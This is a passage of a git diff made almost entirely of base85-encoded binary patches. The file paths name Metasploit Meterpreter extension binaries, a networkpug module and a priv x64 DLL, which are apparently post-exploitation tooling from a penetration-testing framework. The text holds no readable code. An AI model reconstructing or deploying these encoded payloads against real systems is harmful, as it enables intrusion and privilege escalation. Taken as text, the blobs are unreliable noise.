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 diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index 4d0eea9cbe573db258696ab7e7f00b0a33a06850..dd133a03b2ac6787fdae8712184f5c910130d275 100755 GIT binary patch literal 16726 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 X)G)BbWSrxld=<_vECzwffXx2^ngw(Mr8Eme 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 a`!<~F2Cf0}w%~gnShESou0+afnEws>@?Nk2 diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll index 572a46fb4029ac08089e6534165c6575f947ef84..7402d1c2b55b42164cf2e680149b6997ee9f485f 100755 GIT binary patch literal 136704 zcmeFadwf*YwZK2gBoH9s1Z4zYb<{zl@sS$Z1_PQyX5fs>C=?J>5G;^l@qsWSSWyxu 